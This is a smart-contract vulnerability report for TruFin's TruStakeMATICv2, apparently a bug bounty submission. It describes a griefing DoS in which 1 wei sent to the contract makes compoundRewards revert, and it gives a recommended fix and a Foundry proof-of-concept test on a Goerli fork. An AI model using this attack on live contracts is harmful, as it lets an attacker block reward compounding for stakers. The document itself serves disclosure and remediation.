# DoS attack on the function `compoundRewards`

Protocol: [TruFin](https://www.trufin.io/)
Severity: Medium

## Target(s)

- [TruStakeMATICv2(Proxy)](https://eth-goerli.blockscout.com/address/0x0ce41d234f5E3000a38c5EEF115bB4D14C9E1c89?tab=contract) / [TruStakeMATICv2(Implementation)](https://eth-goerli.blockscout.com/address/0x8f293490E6315f23f68f11A9861448aEA566530E?tab=contract)

## Impact(s)

- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Bug Description

The function `compoundRewards` call the function `_deposit` if the contract `TruStakeMATICv2` has a balance:

```solidity
    if (totalAssets() > 0) {
        _deposit(address(0), 0, _validator);
    }
```

As we can see, the internal function `_deposit` is called with the parameter `_user: address(0)` and inside it a `safeTransferFrom` is performed from the `address(0)` to the `TruStakeMATICv2` contract:

```solidity
    // transfer staking token from user to Staker
    IERC20Upgradeable(stakingTokenAddress).safeTransferFrom(_user, address(this), _amount);
```

As the `stakingTokenAddress` token the transaction reverts when performing a `transferFrom` with the `from: address(0)` parameter (_approve::`require(spender != address(0));`):

```solidity
   function transferFrom(address from, address to, uint256 value) public returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
        return true;
    }

    function _approve(address owner, address spender, uint256 value) internal {
        require(spender != address(0));
        require(owner != address(0));

        _allowed[owner][spender] = value;
        emit Approval(owner, spender, value);
    }
```

## Impact

- Users would not be able to use the `compoundRewards` function if the contract has at least 1 wei of `stakingTokenAddress` token

## Recommendation

In the `_deposit` add this if:

```solidity
    function _deposit(address _user, uint256 _amount, address _validator) private returns (uint256) {
        if (!_canAccessValidator(_user, _validator)) revert ValidatorAccessDenied();
        if (validators[_validator].state != ValidatorState.ENABLED) revert ValidatorNotEnabled();

        (uint256 globalPriceNum, uint256 globalPriceDenom) = sharePrice();

        // calculate share increase
        uint256 shareIncreaseUser = convertToShares(_amount);
        uint256 shareIncreaseTsy = (getRewardsFromValidator(_validator) * phi * 1e18 * globalPriceDenom) / (globalPriceNum * PHI_PRECISION);

        // piggyback previous withdrawn rewards in this staking call
        uint256 totalAssetBalance = totalAssets();
        uint256 stakeAmount = _amount + totalAssetBalance;
        // adjust share balances
        if (_user != address(0)) _mint(_user, shareIncreaseUser);

        _mint(treasuryAddress, shareIncreaseTsy);

        // transfer staking token from user to Staker
+       if (_user != address(0)) {
            IERC20Upgradeable(stakingTokenAddress).safeTransferFrom(_user, address(this), _amount);
+       }

        // approve funds to Stake Manager
        IERC20Upgradeable(stakingTokenAddress).safeIncreaseAllowance(stakeManagerContractAddress, stakeAmount);

        // interact with Validator Share contract to stake
        _stake(stakeAmount, _validator);
        // claimed rewards increase here as liquid rewards on validator share contract
        // are set to zero rewards and transferred to this vault

        emit Deposited(_user, shareIncreaseTsy, shareIncreaseUser, _amount, stakeAmount, totalAssetBalance, _validator);

        return shareIncreaseUser;
    }
```

## References

- https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#swapexacttokensfortokens

## Proof of Concept

As we can see in the following code, an attacker can send 1 wei of `stakingTokenAddress` token to the contract causing the `compoundRewards` function call reverts.

The attacker has to look up the transaction in the mempool and send 1 wei, causing the transaction reverts.

```solidity
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/StdUtils.sol";

contract PoC is Test {
    ITruStakeMATICv2 stake = ITruStakeMATICv2(0x0ce41d234f5E3000a38c5EEF115bB4D14C9E1c89);
    address validator = 0x1a9155Ead92CD339E3AE789fD3a5dC60ae268634;
    address attackerDoS = 0xd85Eb58f7bdAFcB3e580Dc0012470d2476859c6b;
    address randomSender = address(1234567890);

    function setUp() public {
        vm.selectFork(vm.createFork("https://rpc.ankr.com/eth_goerli"));
    }

    function testNormal() public {
        stake.compoundRewards(validator);
    }

    function testDoS() public {
        // The attacker transfer 1 wei of stakingToken to the TruStakeMATICv2 contract
        IERC20 stakingToken = stake.stakingTokenAddress();
        vm.prank(attackerDoS);
        stakingToken.transfer(address(stake), 1);

        // At this point the compoundRewards function reverts
        vm.prank(randomSender);
        stake.compoundRewards(validator);
    }
}

interface ITruStakeMATICv2 {
    function stakingTokenAddress() external view returns(IERC20);

    function compoundRewards(address _validator) external;
}

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
}
```
